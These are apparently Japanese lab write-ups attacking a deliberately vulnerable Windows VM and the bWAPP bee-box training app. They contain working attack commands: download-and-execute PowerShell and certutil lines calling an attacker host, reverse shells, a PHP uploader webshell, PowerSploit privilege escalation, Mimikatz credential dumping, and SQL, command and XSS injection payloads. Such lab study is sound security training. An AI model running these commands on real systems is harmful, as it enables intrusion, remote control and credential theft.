8282ポートの調査

  • nikto -h 192.168.56.35:8282
    f:id:kakyouim:20200216164556p:plain
    f:id:kakyouim:20200216164608p:plain
    f:id:kakyouim:20200216164622p:plain

8383ポートの調査

  • nikto -h 192.168.56.35:8383
    f:id:kakyouim:20200216164659p:plain

8484ポートの調査

  • nikto -h 192.168.56.35:8484
    f:id:kakyouim:20200216164739p:plain
    f:id:kakyouim:20200216164750p:plain
    f:id:kakyouim:20200216164801p:plain

8585ポートの調査

  • nikto -h 192.168.56.35:8585
    f:id:kakyouim:20200216164832p:plain
    f:id:kakyouim:20200216164845p:plain
    f:id:kakyouim:20200216164902p:plain

ftpの調査

  • hydra -e nsr -L /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -t 4 192.168.56.35 ftp
    f:id:kakyouim:20200216165145p:plain
    • /usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt
    • /usr/share/wfuzz/wordlist/general/big.txt
      でも試してみたがダメだった。
      Loginしてみる
      f:id:kakyouim:20200216165533p:plain
      クレデンシャル情報っぽいものは特に見つからなかった

sshの調査

  • hydra -e nsr -L /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -t 4 192.168.56.35 ssh
    f:id:kakyouim:20200216165109p:plain
    • /usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt
    • /usr/share/wfuzz/wordlist/general/big.txt
      でも試してみたがダメだった。
      Loginしてみる
      f:id:kakyouim:20200216165333p:plain
      catなどができない。
      cmdでWindowsコマンドプロンプト起動!
      powershellは起動させるとバグって操作できなくなる
      f:id:kakyouim:20200216165433p:plain
  • type passwd
    f:id:kakyouim:20200216165449p:plain

snmp(161)の調査

  • cat udp_161_snmp_snmpwalk_user_accounts.txt
    AutoReconの出力結果を見ると、ユーザー一覧が列挙されている
    f:id:kakyouim:20200216170045p:plain
sshd
Guest
greedo
vagrant
han_solo
kylo_ren
boba_fett
chewbacca
ben_kenobi
jabba_hutt
artoo_detoo
c_three_pio
darth_vader
leia_organa
sshd_server
jarjar_binks
Administrator
luke_skywalker
anakin_skywalker
lando_calrissian

user.txtとして保存し、Login Bruteforceに使う
(ssh,ftpでも試したが、有効なのはvagrantだけだった)

smb(445)の調査

  • EternalBlue

    EternalBlue は、「Windows SMB1.0(SMBv1)」サーバが特定のリクエストを処理する際のセキュリティ上の欠陥です。より具体的には、WindowsSMBv1 のコード内のカーネル関数「srv!SrvOs2FeaListToNt」による「File ExtendedAttribute(拡張ファイル属性、FEA)」処理時に「Large Non-PagedPool(ラージ非ページプール)領域」のバッファオーバーフローを発生させる脆弱性です。

use exploit/windows/smb/ms17_010_eternalblue
ほかの人のWriteupでは動いてらしいがなんか成功しない……
f:id:kakyouim:20200216182106p:plain
f:id:kakyouim:20200216182147p:plain

Java RMI(1617)の調査

Java RMIとは、Java言語に標準で用意された機能の一つで、あるJavaオブジェクトから、異なるコンピュータ上で動作する別のJavaオブジェクトのメソッドを呼び出して実行することができるようにする仕組みらしい。
また、その機能を利用するために規定されたプログラム呼び出し規約らしい

Java Management Extensions (JMX) は、Java アプリケーションをモニタおよび管理するための仕様
JMX を使用すると、汎用管理システムでアプリケーションをモニタし、注意が必要なときに通知を生成し、アプリケーションの状態を変更して問題を解決できるらしい。
"jmx" AND ("javax.management.remote.rmi.RMIServerImpl_Stub" OR "java.rmi.server.RemoteStub" OR "java.rmi.server.RemoteObject") AND "exploit"
などでNmapの結果をGoogleで調べるとMetasploitでExploitが見つかったので試す
use multi/misc/java_jmx_server
f:id:kakyouim:20200216170612p:plain

Windows Remote Management (WinRM)(5985)の調査

5985ポートMicrosoft HTTPAPI httpd 2.0 (SSDP/UPnP)Windows Remote Management (WinRM)らしい
Windows を遠隔で操作する仕組み
コマンドで操作するらしい。
ポート5985が開いているがポート5986が閉じている場合、これはWinRMサービスがHTTP経由の接続のみを受け入れるように構成され、暗号化が有効になっていないらしい
use auxiliary/scanner/winrm/winrm_auth_methods
f:id:kakyouim:20200216170857p:plain
ログインできないと、Remote Code Executionはできないらしい。
ブルートフォースしてみたがダメ…
Mimikatzを使用してクレデンシャル情報を取得する方法もあるらしいが今回は得られなかった(後述)
参考文献
pentestlab.blog

Elasticsearch(9200)の調査

Elasticsearch は Elastic 社が開発しているオープンソース全文検索エンジンです。 大量のドキュメントから目的の単語を含むドキュメントを高速に抽出することができます。

nmapの結果から、バージョンは1.1.1であるとわかる
f:id:kakyouim:20200216181655p:plain
- use auxiliary/scanner/elasticsearch/indices_enum
f:id:kakyouim:20200216181720p:plain
- ElasticSearch Dynamic Script Arbitrary Java Execution
Googleで調べると、このバージョンは上記の脆弱性があるらしい
CVE-2014-3120
use exploit/multi/elasticsearch/script_mvel_rce
f:id:kakyouim:20200216181844p:plain

Webサービスの攻撃

8020 8022 8383ポート(ManageEngine)への攻撃

  • curl -v -X PUT -d "Test" http://192.168.56.35:8020/test.txt
    niktoではPUTが可能と書いてあるので上記を試したがエラー
    書き込み権限がないらしい(当然っちゃ当然か?)
    f:id:kakyouim:20200216171450p:plain
    uploaddoc, apiなどには権限がなくアクセスできなかった。
    デフォルトのクレデンシャル情報でLoginを試す!
    User=admin, pass=adminでログイン成功!
    version情報から有効なExploitを探す
    f:id:kakyouim:20200216171626p:plain
  • ManageEngine Desktop Central StatusUpdate - Arbitrary File Upload (Metasploit)
    が有効っぽい?

    This module exploits an arbitrary file upload vulnerability in ManageEngine DesktopCentral v7 to v9 build 90054 (including the MSP versions).

となっているのでBuild番号自体はExploit可能ではないが……
www.exploit-db.com にMetasploitのExploitがあるが、Metasploit以外のExploitを探すと以下がヒット
manage-engine-exploit.py · GitHub
のExploitを実行してみると成功!
- python2 manageengine_exploit.py 192.168.56.35 8022 192.168.56.5 5555
f:id:kakyouim:20200216172606p:plain
f:id:kakyouim:20200216172623p:plain

Metasploitを使うと以下のようになる
- use exploit/windows/http/manageengine_connectionid_write
f:id:kakyouim:20200216185922p:plain

8282(tomcat)の攻撃

www.cybersecurity-help.cz

PUTが許可されているのでこの脆弱性がありそうな気がするが、JSPファイルの書き込みができず、脆弱ではないらしい。
- python2 /usr/share/exploitdb/exploits/jsp/webapps/42966.py -u http://192.168.56.35:8282/
f:id:kakyouim:20200216173409p:plain
どうやら403でアクセス権限(書き込み権限?)がない??
f:id:kakyouim:20200216173429p:plain
- use exploit/multi/http/tomcat_jsp_upload_bypass
でも403となって成功しなかった
f:id:kakyouim:20200216173459p:plain

8484(Jenkins)の攻撃

Javaで書かれたオープンソース継続的インテグレーションツール.
継続的インテグレーションとは、ソフトウェア開発において、ビルドやテストを頻繁に繰り返し行なうことにより問題を早期に発見し、開発の効率化・省力化や納期の短縮を図る手法。
特に、専用のツールを用いてこのプロセスを自動化あるいは半自動化し、効率的に実施する方式。
らしい
下の方にJenkinsのバージョンが見えている
f:id:kakyouim:20200216174130p:plain

Jenkinsには、Jenkinsマスターランタイム内またはエージェントのランタイム内で任意のGroovyスクリプトを実行できるGroovyスクリプトコンソールがあります。
JenkinsランタイムへのWebベースのGroovyシェルです。Groovyは非常に強力な言語であり、Javaでできることはほとんど何でも実行できます。
サブプロセスを作成し、Jenkinsマスターとエージェントで任意のコマンドを実行します。


ログインパスワードのないJenkinsを見つけた場合、またはスクリプトコンソールにアクセスする権限を持つ通常のユーザーである場合、この特権を悪用してマシンのリバースシェルを取得できる
今回は/scriptでScript Consoleにアクセスできたのでそこからリバースシェルを実行できそう
以下を参考にする
www.hackingarticles.in

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'ipconfig'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

を実行すると、以下のように結果が得られた
f:id:kakyouim:20200216174656p:plain
以下を埋め込むとリバースシェルを実行できる
gist.github.com
- use exploits/multi/http/jenkins_script_console
Metasploitにも存在
f:id:kakyouim:20200216175212p:plain
f:id:kakyouim:20200216175230p:plain

ちなみに、Googleで調べたExploitは不発
f:id:kakyouim:20200216175316p:plain
バージョンはピッタリなのになんでだろう?

8585(webdav,wordpress)の攻撃

Webdavの攻撃

  • davtest -url http://192.168.56.35:8585/uploads/
    f:id:kakyouim:20200216175542p:plain
    Webshellのアップロードが可能!

Wordpressの攻撃

  • wpscan --url http://192.168.56.35:8585/wordpress/ --enumerate u
    f:id:kakyouim:20200216175722p:plain
  • wpscan --url http://192.168.56.35:8585/wordpress/ --enumerate u -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt
    f:id:kakyouim:20200216175751p:plain
    User=vagrant,password=vagrantでログイン
    f:id:kakyouim:20200216175809p:plain
    PluginのPHPコードを書き換える
    f:id:kakyouim:20200216175851p:plain
    なんかエラー出てるが、Webshellの設置成功!
    f:id:kakyouim:20200216175922p:plain
    /wordpress/wp-content/plugins/ninja-forms/ninja-forms.php?cmd=ls
    f:id:kakyouim:20200216180008p:plain

Reverse Shell

  • wordpressのWebshellからReverse shellを実行する
    www.hackingarticles.in
  • netcat
    • nc.exe -nlvp 4444 -e cmd.exe
      bind shellは成功せず
    • nc.exe 192.168.1.101 443 -e cmd.exe
      reverse shellも成功せず
  • Certutil.exe
    • msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f exe > shell.exe
use exploit/multi/handler
set lhost 192.168.56.5
set lport 4444
  • certutil.exe -urlcache -split -f http://192.168.56.5/share/shell.exe shell.exe & shell.exe
    f:id:kakyouim:20200216180837p:plain
    ダメだった。
    しかし、すでにSSHなどから得られているプロンプト上から実行するとうまく行った……
    f:id:kakyouim:20200216180955p:plain
    f:id:kakyouim:20200216181007p:plain
  • powercat
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.56.5/share/powercat.ps1');powercat -c 192.168.56.5 -p 4444 -e cmd"

で成功!!
f:id:kakyouim:20200216181130p:plain

Local Privilege Escalation

基本的に以下を参照する
github.com
https://www.puckiestyle.nl/windows-privilege-escalation/

ethicalhackingguru.com

Enum tools

windows-privesc-check2.exe

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/windows-privesc-check/windows-privesc-check2.exe\", \"C:\\Users\\Public\\Downloads\\windows-privesc-check2.exe\");
  • windows-privesc-check2.exe --audit -a
    出力が多すぎない?

Sherlock

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/Sherlock/Sherlock.ps1'))"

でダウンロードして実行
f:id:kakyouim:20200216184123p:plain
f:id:kakyouim:20200216184135p:plain
これらを試してみたが成功しなかった。

JAWS

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/JAWS/jaws-enum.ps1'))"

f:id:kakyouim:20200216184509p:plain
f:id:kakyouim:20200216184607p:plain
f:id:kakyouim:20200216184724p:plain
f:id:kakyouim:20200216184823p:plain
f:id:kakyouim:20200216184850p:plain
f:id:kakyouim:20200216184908p:plain
f:id:kakyouim:20200216184952p:plain
など

SessionGopher

PuTTYWinSCPFileZilla、SuperPuTTY、およびRDPの保存済みセッション情報を静かに掘り下げる

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/SessionGopher/SessionGopher.ps1')); Invoke-SessionGopher -Thorough"

f:id:kakyouim:20200216185103p:plain

Beroot

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/BeRoot/beRoot.exe\", \"C:\\Users\\Public\\Downloads\\beRoot.exe\");

f:id:kakyouim:20200216185150p:plain

WindowsEnum

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/WindowsEnum/WindowsEnum.ps1'));"

f:id:kakyouim:20200216185254p:plain
f:id:kakyouim:20200216185331p:plain

Powerless

certutil.exe -urlcache -split -f "http://192.168.56.5:8000/Powerless/Powerless.bat"
Powerless.bat
出力多い……
参考
github.com

PowerUp.ps1

  • Invoke-AllChecks | Out-File allchecks.txt
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Invoke-AllChecks | Out-File allchecks.txt"
- `unquoted servicepaths`<br>
- `service executable`<br>
- `argument permissions`<br>

に注目するらしい

Manual

  • wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
    ””で囲まれていないパスやスペースがあるようなプロセスがあると、そのプログラムの代わりに悪意のあるプログラムをその場所に設置して実行されられるらしい。
    以上で、””で囲まれていないようなプロセスを列挙している。
    [f:id:kakyouim:20200216205526p:plain]
  • tomcat-users.xml
    Tomcatはデフォルトではrootで起動しているのでtomcatのクレデンシャル情報の取得は権限昇格にも使えるかも
  • cd C:\Program Files\Apache Software Foundation\tomcat\apache-tomcat-8.0.33\conf
  • type tomcat-users.xml
    [f:id:kakyouim:20200216210745p:plain]

PowerSploit

Invoke-AllChecks

  • Invoke-AllChecks | Out-File allchecks.txt
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Invoke-AllChecks | Out-File allchecks.txt"

Install-ServiceBinary

  • Install-ServiceBinary -Name 'OpenSSHd'
    既存のバイナリをjohnというユーザーを追加した新しいバイナリに置き換える
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Install-ServiceBinary -Name 'OpenSSHd'"

以下のようなエラーが発生
f:id:kakyouim:20200216205726p:plain
net stop OpenSSHd
で一度これを停止させてからやると成功!
f:id:kakyouim:20200216205714p:plain
net start OpenSSHd
で再起動しようとするとエラー。
SSHが使えなくなった……
f:id:kakyouim:20200216205848p:plain
net user
でjohnが追加されていることが確認できる!
f:id:kakyouim:20200216205926p:plain
net user john
で確認
f:id:kakyouim:20200216210039p:plain

- use exploit/windows/smb/psexec
ほかの人のWriteupではこれでuser=john,password=Password123!でSYSTEM権限が得られていたが、なんかうまく行かない……
f:id:kakyouim:20200216210253p:plain
ちなみに、
Install-ServiceBinary -Name 'jenkins'
で同じく試すと別のerror。
f:id:kakyouim:20200216210159p:plain

参考
blog.rapid7.com

Invoke-Shellcode.ps1

  • Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.168.56.5 -Lport 4448 -Force
    プロセスにshellcodeを注入して実行する
    SYSTEM権限で実行されているプロセスに注入することで権限昇格できるかも
    payloadは
    windows/meterpreter/reverse_http
    windows/meterpreter/reverse_https
    しかサポートしてないらしい
  • wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/code_execution/Invoke-Shellcode.ps1
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/Invoke-Shellcode.ps1'));Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.168.56.5 -Lport 4448 -Force"

ProcessIDを指定しないと、現在のPowershellプロセスにshellcodeを注入するらしい
途中までうまく行ってたのになんかエラー
f:id:kakyouim:20200216203754p:plain
f:id:kakyouim:20200216203859p:plain

Invoke-DllInjection.ps1

  • Invoke-DllInjection -ProcessID 4248 -Dll C:\Users\Public\Downloads\msf.dll
  • msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.5 LPORT=5555 -f dll > msf.dll
    で悪意のあるDLLを作成して標的のディスク上に配置しないといけない
    DLL Injectionは現在実行中のプロセスに悪意のあるDLLの存在するパスを書き込んでロードさせるもの
    ロードされたDLLはそのプロセスの権限で実行される
  • powershell -Command "Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden"
  • powershell -Command "Get-Process notepad"
    f:id:kakyouim:20200216204108p:plain
  • certutil.exe -urlcache -split -f "http://192.168.56.5/share/msf.dll"
    f:id:kakyouim:20200216204309p:plain
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/powersploit/CodeExecution/Invoke-DllInjection.ps1'));Invoke-DllInjection -ProcessID 4248 -Dll C:\Users\Public\Downloads\msf.dll"

f:id:kakyouim:20200216204400p:plain
f:id:kakyouim:20200216204412p:plain

ちなみに、SYSTEMで動いているであろうTomcatにDLLInjectionを試してみると、
f:id:kakyouim:20200216204509p:plain
となって失敗した。
どうやら管理者のPowershellじゃないとだめらしい。

参考
blog.opensecurityresearch.com
www.elastic.co

Get-VaultCredential

  • Get-VaultCredential
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/powersploit/Exfiltration/Get-VaultCredential.ps1')); Get-VaultCredential"

なにも表示されなかった

Find-ProcessDLLHijack

  • Find-ProcessDLLHijack
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Find-ProcessDLLHijack  "

f:id:kakyouim:20200216204634p:plain
こういうのが何個か結果として得られた
DLLHijackはDLL Injectionとは違って、正しいDLLが読み込まれる際にそのDLLの代わりに悪意のあるDLLが読み込まれるようにしたもの
アプリケーションが普通のディレクトリにInstallされていたり、""で囲まれておらずスペースが含まれている場合にバイパスできる

Get-System

  • Get-System -Technique NamedPipe
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/Get-System.ps1')); Get-System -Technique NamedPipe"

f:id:kakyouim:20200216204939p:plain
権限の問題で失敗……
参考
yojimbosecurity.ninja

Get-DllLoadPath.ps1

  • Get-DllLoadPath –ExecutablePath “C:\Program Files (x86)\Adobe\Acrobat 10.0\Acrobat\Acrobat.exe” –Dllname shell32.dll
    のように使う
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PEtools/Get-DllLoadPath.ps1')); Get-DllLoadPath –ExecutablePath “C:\Program Files (x86)\Adobe\Acrobat 10.0\Acrobat\Acrobat.exe” –Dllname shell32.dll"

参考
github.com
resources.infosecinstitute.com

Mimikatz

  • mimikatz.exe
    以下でダウンロードする。
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/Mimikatz/x64/mimidrv.sys\", \"C:\\Users\\Public\\Downloads\\mimidrv.sys\"); (New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/Mimikatz/x64/mimikatz.exe\", \"C:\\Users\\Public\\Downloads\\mimikatz.exe\"); (New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/Mimikatz/x64/mimilib.dll\", \"C:\\Users\\Public\\Downloads\\mimilib.dll\")"

以下でmimikatz.exeを実行してクレデンシャル情報を探すが、今回は失敗
mimikatz log version "sekurlsa::logonpasswords" exit
f:id:kakyouim:20200216182652p:plain - Invoke-Mimikatz.ps1
以下でディスクに置かずに実行できるだめAVに引っかかりにくいらしい

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/Mimikatz/Invoke-Mimikatz.ps1')); Invoke-Mimikatz -DumpCreds"

f:id:kakyouim:20200216182922p:plain

Metasploit

sshを介して得たuser=vagrantのmeterpreterセッション上で
getsystem
を実行するとSYSTEMになれた!
f:id:kakyouim:20200216183218p:plain
f:id:kakyouim:20200216183237p:plain
名前付きパイプの偽装による権限昇格が成功した様子
名前付きパイプとは、同じコンピュータ上で動作しているプログラム同士がデータをやり取りするプロセス間通信(IPC)の有力な方式の一つ。

Windowsのセキュリティはスレッドを実行するユーザーをトークンで識別しますが、 名前付きパイプのサーバーはクライアントのトークンを偽装できます。
偽装するというのは、サーバーがクライアントのアカウントとしてコードを実行するということであり、 オブジェクトへのアクセスをクライアントとして行いたい場合に便利

つまり、cmd.exeへの名前付きパイプを作成しておいて、そこにSYSTEMであると偽ってMeterpreterが接続すると、SYSTEM権限でのcmd.exeの実行が可能になるということ?

blog.cobaltstrike.com
以下のPowerSploitのExploitでもおそらく可能
yojimbosecurity.ninja

参考文献

zero-day.io
www.ceyhuncamli.com.tr
wjmccann.github.io
https://www.yeahhub.com/list-metasploit-exploits-modules-metasploitable3-vulnerable-machine/
www.mrb3n.com

最後

権限昇格のやり方が全然よくわかってないのでちゃんと勉強しないとダメだなあ
powershellに頼りきりだけどWindows7より前の標的にはどうやって権限昇格するんだろうか……
なんもわからん

bWAPP: bee-box writeup

ぺネトレの基本を押さえるためにBee-boxの問題全部解くぞ!!
全部解いたら、あとでほかのマシンを攻略するときの良いまとまった参考資料になる気がするぞ!
あんまりよくわかってないので間違ってたりしてたら指摘していただけると幸いです。

以下にBee-boxのソースコードが上がっています
https://github.com/theand-fork/bwapp-code/tree/master/bWAPP
https://github.com/lmoroz/bWAPP/tree/master/bWAPP

A1-Injection

HTML Injection - Reflected (GET)

  • low
    f:id:kakyouim:20200204192138p:plain
    反射型なので、送信したスクリプトはサーバーに保存されない
    <h1>aa</h1>,<script>alert("a")</script>。いつもの。
    f:id:kakyouim:20200204193106p:plain
    f:id:kakyouim:20200204193200p:plain
  • medium
    lowと同様にしているがうまく行かず。<>がどうやら& lt;などにHtmlエンコードされている様子。
    f:id:kakyouim:20200204193339p:plain
    URLencodeすると解決!
  • hard
<?php
function xss_check_3($data, $encoding = "UTF-8"){ 
    return htmlspecialchars($data, ENT_QUOTES, $encoding);
}
print xss_check_3($data);
?>

となっているため、脆弱ではありません
以後、基本的にhardは脆弱ではありません。

HTML Injection - Reflected (POST)

f:id:kakyouim:20200204193725p:plain
GETと同じ
f:id:kakyouim:20200204193804p:plain
MediumもURLエンコードで解決。

HTML Injection - Reflected (URL)

f:id:kakyouim:20200204194031p:plain
ソースコードは次の通り
f:id:kakyouim:20200204194207p:plain
通常、document.urldocument.writedocument.locationは、適切に処理されない場合、DOM XSSの下にあるらしい。
反射型との違いは、クライアントサイドスクリプト脆弱性を利用することらしいです(よくわからん)

  • low
  • GET /bWAPP/htmli_current_url.php?<h1>aa</h1><h2>aa</h2>
  • medium
  • GET /bWAPP/htmli_current_url.php#<h1>aa</h1><h2>aa</h2>

HTML Injection - Stored (Blog)

  • low
    f:id:kakyouim:20200204195242p:plain
    <h1>aa</h1>ができてる
    また、以下のスクリプトでWebshellを設置できる
<?php echo 'Uploader<br>';echo '<br>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload !!!</b><br><br>'; }else { echo '<b>Upload !!!</b><br><br>'; }}?>

iFrame Injection

  • low
    f:id:kakyouim:20200204195920p:plain
    iframeとは、src属性で指定したURL(リンク先ページの内容)をインラインフレーム表示できるHTMLタグの一つ
    ソースコードはこうなっている。
    f:id:kakyouim:20200204200037p:plain
    GET /bWAPP/iframei.php?ParamUrl=iframei.php&ParamWidth=250&ParamHeight=250ParamUrlの値を変更するとそのページがインライン表示された!
    また、ParamUrl="></iframe><h1>a</h1><iframesrc="で、以下のように挿入できる
    f:id:kakyouim:20200204200253p:plain
  • medium
    lowと同じ方法でやったがダメだった
    ソースコードを見ると、下のようになっているので、シングルクォート('), ダブルクォート("),バックスラッシュ () ,NUL (NULL バイト)が弾かれて、先頭にバックスラッシュが付与される。

f:id:kakyouim:20200204200431p:plain
Mediumではsrc=robots.txtで固定で、PramWidthでaddslash()が使われている
addslash()が使われているとき、%bf%5c”と書くと、が書けるらしい
%bf%5c'と入力すると、%bf%5cが中国語のMultiByteで?となって、後ろのがフィルタリングされないらしい。
/bWAPP/iframei.php?ParamUrl=1%bf%5c'&ParamWidth=1%bf%5c"></iframe><h1>aa</h1>&ParamHeight=250
で、下のようになり成功した!
f:id:kakyouim:20200204200815p:plain
参考文献:
http://www.securityidiots.com/Web-Pentest/SQL-Injection/addslashes-bypass-sql-injection.html

Mail Header Injection (SMTP)

f:id:kakyouim:20200204201117p:plain
name = wagn \ nbcc:io098093oiscx0123@mailinator.com&email=bwapp%40mailinator.com&remarks=144&form=submitとかでBCCを追加できるらしい
つまり、BCCとかをSMTPに解釈させることができる。BCCとしてメールを送り付けることができるらしい。

OS Command Injection

  • low
    f:id:kakyouim:20200204201523p:plain
    www.nsa.gov;idとすると下のように実行できている
    f:id:kakyouim:20200204201636p:plain
  • medium
    ソースコードを見ると、以下のようになっている
    f:id:kakyouim:20200204201719p:plain
    www.nsa.gov | idとすればよい

    OS Command Injection – Blind

  • low
    f:id:kakyouim:20200204201856p:plain
    先ほどと同じようにする
    f:id:kakyouim:20200204201947p:plain
  • medium
    192.168.56.5|sleep 10でいけた

    PHP Code Injection

    f:id:kakyouim:20200204202057p:plain
    phpi.php?message=exec(id)でいけた
    f:id:kakyouim:20200204202151p:plain
    ソースコードを見た感じ、MediumもHardも同じくspecialcharacters()でフィルタリングされてる。

Server-Side Includes (SSI) Injection

  • low
    f:id:kakyouim:20200204202307p:plain
    ssii.shtmlに、htmlをインクルードしているらしい。CGIを使わずに動的にページを作成するときに使われる。
    <script>alert("a")</script>でいけた!
    <!-- exec cmd="pwd" -->
    でも行けるらしい
  • medium
    single quote ('), double quote ("), backslash () and NUL (the NULL byte) がaddslash()でフィルタされているだけなので、
    <h1>a</h1>でいけた

    SQL Injection (GET/Search)

    f:id:kakyouim:20200204202721p:plain
    ' or '1'='1,' order by 7-- -,' Union select 1,2,3,4,5,6,7 -- -が成功している
    ソースコードは以下の通り
    f:id:kakyouim:20200204203052p:plain

SQL Injection (GET/Select)

f:id:kakyouim:20200204203201p:plain
GETメソッドで'を入れると以下のようにエラーが出た
f:id:kakyouim:20200204203335p:plain
'1 and '1'='1を入力すると以下のようなエラー
f:id:kakyouim:20200204203656p:plain
1 and 1=1とすると動く
f:id:kakyouim:20200204203756p:plain
ソースコードを見てみる
f:id:kakyouim:20200204203827p:plain
id = (入力)となっている
idの属性が文字列型の時は’’が必要で、整数型の時は''は必要ないらしい。
1 and 1=0 union all select 1,2,3,4,5,6,7 --で成功する
and 1=0を入れないと、union selectでSelectした値が1で上書きされてしまうため、必要。
1 union all select 1,2,3,4,5,6,7 --は不十分

SQL Injection (POST/Search)

f:id:kakyouim:20200204204415p:plain
' or '1'='1,' order by 6 -- -,' Union select 1,2,3,4,5,6,7 -- -

SQL Injection (POST/Select)

f:id:kakyouim:20200204204636p:plain
1 and 1=0 union all select 1,2,3,4,5,6,7 --をPOSTする
f:id:kakyouim:20200204204750p:plain

SQL Injection (AJAX/JSON/jQuery)

f:id:kakyouim:20200204204825p:plain
' or '1'='1でいけている
f:id:kakyouim:20200204205018p:plain
' union select 1,table_schema,table_name,4,5,6,7 from information_schema.tables -- -などでも確認
また、ソースコードを確認してみると、
f:id:kakyouim:20200204205138p:plain
.getJSON("sqli_10-2.php", search, function(data) と書いてある。
HTTPのGET通信を行い、json形式に変換されたデータをサーバから受け取っているのでブラウザからGETで送信しても確認
f:id:kakyouim:20200204205241p:plain

Manual Intervention Required

f:id:kakyouim:20200204205327p:plain
普通に表示されているのを入力して、
f:id:kakyouim:20200204205414p:plain

SQL Injection (Login Form/Hero)

f:id:kakyouim:20200204205512p:plain
‘ or ‘1’ = ‘1で行けてる。いつものと同じ(は?)

        $login = $_POST["login"];
        $login = sqli($login);
        $password = $_POST["password"];
        $password = sqli($password);
        $sql = "SELECT * FROM heroes WHERE login = '" . $login . "' AND password = '" . $password . "'";
        // echo $sql;
        $recordset = mysqli_query($link, $sql);
        if(!$recordset)
        {
            die("Error: " . mysqli_error());
        }
        else
        {
            $row = mysqli_fetch_array($recordset);
            if($row["login"])
            {
                // $message = "<font color=\"green\">Welcome " . ucwords($row["login"]) . "...</font>";
                $message =  "<p>Welcome <b>" . ucwords($row["login"]) . "</b>, how are you today?</p><p>Your secret: <b>" . ucwords($row["secret"]) . "</b></p>";
                // $message = $row["login"];
            }

